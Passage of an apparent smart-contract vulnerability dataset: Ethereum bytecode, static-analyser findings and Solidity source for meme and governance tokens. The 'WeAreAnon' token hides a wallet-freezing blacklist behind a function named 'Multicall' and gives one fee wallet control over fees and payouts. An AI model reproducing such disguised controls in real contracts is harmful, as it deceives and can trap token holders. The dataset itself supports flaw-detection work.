6000602082840312156128ba57600080fd5b8135611b2681612893565b600080604083850312156128d857600080fd5b82356128e381612893565b946020939093013593505050565b60e08101818360005b60078110156129195781518352602092830192909101906001016128fa565b50505092915050565b6101208101818360005b6009811015612919578151151583526020928301929091019060010161292c565b803560ff8116811461179957600080fd5b6000806040838503121561297157600080fd5b823561297c81612893565b915061298a6020840161294d565b90509250929050565b600080604083850312156129a657600080fd5b50508035926020909101359150565b6000602082840312156129c757600080fd5b611b268261294d565b60808101818360005b60048110156129195781518352602092830192909101906001016129d9565b6157808101818360005b6102bc811015612919578151835260209283019290910190600101612a02565b634e487b7160e01b600052603260045260246000fd5b6020808252601690820152754f7574206f66206b657973206c6973742072616e676560501b604082015260600190565b6020808252602f908201527f416c72656164792077697468647261776e2c2074727920275769746864726f7760408201526e20616761696e27206665617475726560881b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600060ff821660ff841680821015612ae757612ae7612ab7565b90039392505050565b60008219821115612b0357612b03612ab7565b500190565b634e487b7160e01b600052603160045260246000fd5b600082821015612b3057612b30612ab7565b500390565b6000600019821415612b4957612b49612ab7565b5060010190565b6000816000190483118215151615612b6a57612b6a612ab7565b500290565b600082612b8c57634e487b7160e01b600052601260045260246000fd5b500490565b600060ff821660ff811415612ba857612ba8612ab7565b6001019291505056fea2646970667358221220389b9a3eb2287db1a3ec40951c00ec4342dbc2297d9ce4677486e3a25b0dc2db64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,566
0x63daede9267f42b71b7432e9e4d35c5648494cdf
/** *Submitted for verification at Etherscan.io on 2022-04-16 */ // SPDX-License-Identifier: MIT /* Anonymous is a token on the Ethereum Blockchain. Ownership will be renounced directly after launch. LP will be locked on team.finance Max tx : 2% Max wallet : 4% Tax : 3% : will be used to invest on others DAO & Highest APY project, to burn and buyback ANONYMOUSDAO. Public chat will be open at 50k MC. Last project hit 360k from a start at 6k MC. */ pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract WeAreAnon is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"WeAreAnonymous"; //// string public constant symbol = unicode"ANON"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable private _FeeAddress1; address payable private _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 3; uint public _sellFee = 3; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "ERC20: transfer from frozen wallet."); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (15 minutes)) { fee += 5; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 30000000000 * 10**9; // 3% _maxHeldTokens = 30000000000 * 10**9; // 3% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); require(buy <= 10); require(sell <= 10); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function Multicall(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105a4578063db92dbb6146105b9578063dcb0e0ad146105ce578063dd62ed3e146105ee578063e8078d941461063457600080fd5b806395d89b4114610529578063a9059cbb14610559578063b2131f7d14610579578063c3c8cd801461058f57600080fd5b8063715018a6116100dc578063715018a6146104b65780637a49cddb146104cb5780638da5cb5b146104eb57806394b8d8f21461050957600080fd5b8063509016171461044b578063590f897e1461046b5780636fc3eaec1461048157806370a082311461049657600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103a457806340b9a54b146103dd57806345596e2e146103f357806349bd5a5e1461041357600080fd5b806327f3a72a14610332578063313ce5671461034757806331c2d8471461036e57806332d873d81461038e57600080fd5b80630b78f9c0116101c15780630b78f9c0146102c057806318160ddd146102e05780631940d020146102fc57806323b872dd1461031257600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f61461026e578063095ea7b31461029057600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d5765417265416e6f6e796d6f757360901b81525081565b60405161021e9190611bc6565b34801561027a57600080fd5b5061028e610289366004611c40565b610649565b005b34801561029c57600080fd5b506102b06102ab366004611c5d565b6106be565b604051901515815260200161021e565b3480156102cc57600080fd5b5061028e6102db366004611c89565b6106d4565b3480156102ec57600080fd5b50683635c9adc5dea00000610214565b34801561030857600080fd5b50610214600f5481565b34801561031e57600080fd5b506102b061032d366004611cab565b610757565b34801561033e57600080fd5b5061021461083f565b34801561035357600080fd5b5061035c600981565b60405160ff909116815260200161021e565b34801561037a57600080fd5b5061028e610389366004611d02565b61084f565b34801561039a57600080fd5b5061021460105481565b3480156103b057600080fd5b506102b06103bf366004611c40565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e957600080fd5b50610214600b5481565b3480156103ff57600080fd5b5061028e61040e366004611dc7565b6108db565b34801561041f57600080fd5b50600a54610433906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045757600080fd5b5061028e610466366004611c40565b61099f565b34801561047757600080fd5b50610214600c5481565b34801561048d57600080fd5b5061028e610a0d565b3480156104a257600080fd5b506102146104b1366004611c40565b610a3a565b3480156104c257600080fd5b5061028e610a55565b3480156104d757600080fd5b5061028e6104e6366004611d02565b610ac9565b3480156104f757600080fd5b506000546001600160a01b0316610433565b34801561051557600080fd5b506011546102b09062010000900460ff1681565b34801561053557600080fd5b506102616040518060400160405280600481526020016320a727a760e11b81525081565b34801561056557600080fd5b506102b0610574366004611c5d565b610bd8565b34801561058557600080fd5b50610214600d5481565b34801561059b57600080fd5b5061028e610be5565b3480156105b057600080fd5b5061028e610c1b565b3480156105c557600080fd5b50610214610cb7565b3480156105da57600080fd5b5061028e6105e9366004611dee565b610ccf565b3480156105fa57600080fd5b50610214610609366004611e0b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064057600080fd5b5061028e610d4c565b6008546001600160a01b0316336001600160a01b03161461066957600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106cb338484611093565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106f457600080fd5b600a82111561070257600080fd5b600a81111561071057600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561078557506001600160a01b03831660009081526004602052604090205460ff16155b801561079e5750600a546001600160a01b038581169116145b156107ed576001600160a01b03831632146107ed5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107f88484846111b7565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610827908490611e5a565b9050610834853383611093565b506001949350505050565b600061084a30610a3a565b905090565b6008546001600160a01b0316336001600160a01b03161461086f57600080fd5b60005b81518110156108d75760006006600084848151811061089357610893611e71565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108cf81611e87565b915050610872565b5050565b6000546001600160a01b031633146109055760405162461bcd60e51b81526004016107e490611ea0565b6008546001600160a01b0316336001600160a01b03161461092557600080fd5b6000811161096a5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107e4565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106b3565b6009546001600160a01b0316336001600160a01b0316146109bf57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106b3565b6008546001600160a01b0316336001600160a01b031614610a2d57600080fd5b47610a3781611825565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a7f5760405162461bcd60e51b81526004016107e490611ea0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610ae957600080fd5b60005b81518110156108d757600a5482516001600160a01b0390911690839083908110610b1857610b18611e71565b60200260200101516001600160a01b031614158015610b69575060075482516001600160a01b0390911690839083908110610b5557610b55611e71565b60200260200101516001600160a01b031614155b15610bc657600160066000848481518110610b8657610b86611e71565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bd081611e87565b915050610aec565b60006106cb3384846111b7565b6008546001600160a01b0316336001600160a01b031614610c0557600080fd5b6000610c1030610a3a565b9050610a37816118aa565b6000546001600160a01b03163314610c455760405162461bcd60e51b81526004016107e490611ea0565b60115460ff1615610c925760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e4565b6011805460ff19166001179055426010556801a055690d9db80000600e819055600f55565b600a5460009061084a906001600160a01b0316610a3a565b6000546001600160a01b03163314610cf95760405162461bcd60e51b81526004016107e490611ea0565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106b3565b6000546001600160a01b03163314610d765760405162461bcd60e51b81526004016107e490611ea0565b60115460ff1615610dc35760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e4565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e003082683635c9adc5dea00000611093565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e629190611ed5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eaf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed39190611ed5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f449190611ed5565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f7481610a3a565b600080610f896000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ff1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110169190611ef2565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561106f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d79190611f20565b6001600160a01b0383166110f55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e4565b6001600160a01b0382166111565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661121b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e4565b6001600160a01b03821661127d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e4565b600081116112df5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e4565b6001600160a01b03831660009081526006602052604090205460ff16156113545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107e4565b600080546001600160a01b0385811691161480159061138157506000546001600160a01b03848116911614155b156117c657600a546001600160a01b0385811691161480156113b157506007546001600160a01b03848116911614155b80156113d657506001600160a01b03831660009081526004602052604090205460ff16155b156116625760115460ff1661142d5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107e4565b601054420361146c5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107e4565b42601054610e1061147d9190611f3d565b11156114f757600f5461148f84610a3a565b6114999084611f3d565b11156114f75760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107e4565b6001600160a01b03831660009081526005602052604090206001015460ff1661155f576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42601054607861156f9190611f3d565b111561164357600e548211156115c75760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107e4565b6115d242600f611f3d565b6001600160a01b038416600090815260056020526040902054106116435760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107e4565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff1615801561167c575060115460ff165b80156116965750600a546001600160a01b03858116911614155b156117c6576116a642600f611f3d565b6001600160a01b038516600090815260056020526040902054106117185760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107e4565b600061172330610a3a565b905080156117af5760115462010000900460ff16156117a657600d54600a5460649190611758906001600160a01b0316610a3a565b6117629190611f55565b61176c9190611f74565b8111156117a657600d54600a546064919061178f906001600160a01b0316610a3a565b6117999190611f55565b6117a39190611f74565b90505b6117af816118aa565b4780156117bf576117bf47611825565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061180857506001600160a01b03841660009081526004602052604090205460ff165b15611811575060005b61181e8585858486611a1e565b5050505050565b6008546001600160a01b03166108fc61183f600284611f74565b6040518115909202916000818181858888f19350505050158015611867573d6000803e3d6000fd5b506009546001600160a01b03166108fc611882600284611f74565b6040518115909202916000818181858888f193505050501580156108d7573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118ee576118ee611e71565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196b9190611ed5565b8160018151811061197e5761197e611e71565b6001600160a01b0392831660209182029290920101526007546119a49130911684611093565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119dd908590600090869030904290600401611f96565b600060405180830381600087803b1580156119f757600080fd5b505af1158015611a0b573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a2a8383611a40565b9050611a3886868684611a87565b505050505050565b6000808315611a80578215611a585750600b54611a80565b50600c54601054611a6b90610384611f3d565b421015611a8057611a7d600582611f3d565b90505b9392505050565b600080611a948484611b64565b6001600160a01b0388166000908152600260205260409020549193509150611abd908590611e5a565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611aed908390611f3d565b6001600160a01b038616600090815260026020526040902055611b0f81611b98565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5491815260200190565b60405180910390a3505050505050565b600080806064611b748587611f55565b611b7e9190611f74565b90506000611b8c8287611e5a565b96919550909350505050565b30600090815260026020526040902054611bb3908290611f3d565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bf357858101830151858201604001528201611bd7565b81811115611c05576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a3757600080fd5b8035611c3b81611c1b565b919050565b600060208284031215611c5257600080fd5b8135611a8081611c1b565b60008060408385031215611c7057600080fd5b8235611c7b81611c1b565b946020939093013593505050565b60008060408385031215611c9c57600080fd5b50508035926020909101359150565b600080600060608486031215611cc057600080fd5b8335611ccb81611c1b565b92506020840135611cdb81611c1b565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d1557600080fd5b823567ffffffffffffffff80821115611d2d57600080fd5b818501915085601f830112611d4157600080fd5b813581811115611d5357611d53611cec565b8060051b604051601f19603f83011681018181108582111715611d7857611d78611cec565b604052918252848201925083810185019188831115611d9657600080fd5b938501935b82851015611dbb57611dac85611c30565b84529385019392850192611d9b565b98975050505050505050565b600060208284031215611dd957600080fd5b5035919050565b8015158114610a3757600080fd5b600060208284031215611e0057600080fd5b8135611a8081611de0565b60008060408385031215611e1e57600080fd5b8235611e2981611c1b565b91506020830135611e3981611c1b565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e6c57611e6c611e44565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e9957611e99611e44565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ee757600080fd5b8151611a8081611c1b565b600080600060608486031215611f0757600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f3257600080fd5b8151611a8081611de0565b60008219821115611f5057611f50611e44565b500190565b6000816000190483118215151615611f6f57611f6f611e44565b500290565b600082611f9157634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fe65784516001600160a01b031683529383019391830191600101611fc1565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f99c2d08f69439e09703d9a7533d3568d552026737dbe863b00ddc3a33bdfd3c64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,567
0xb6ab412eaceb551d62f8ec63a1d2f30c01e3a2c0
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract Cheese { /// @notice EIP-20 token name for this token string public constant name = "Cheese"; /// @notice EIP-20 token symbol for this token string public constant symbol = "CHEESE"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 10000000e18; // 10 million Comp /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Comp token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, 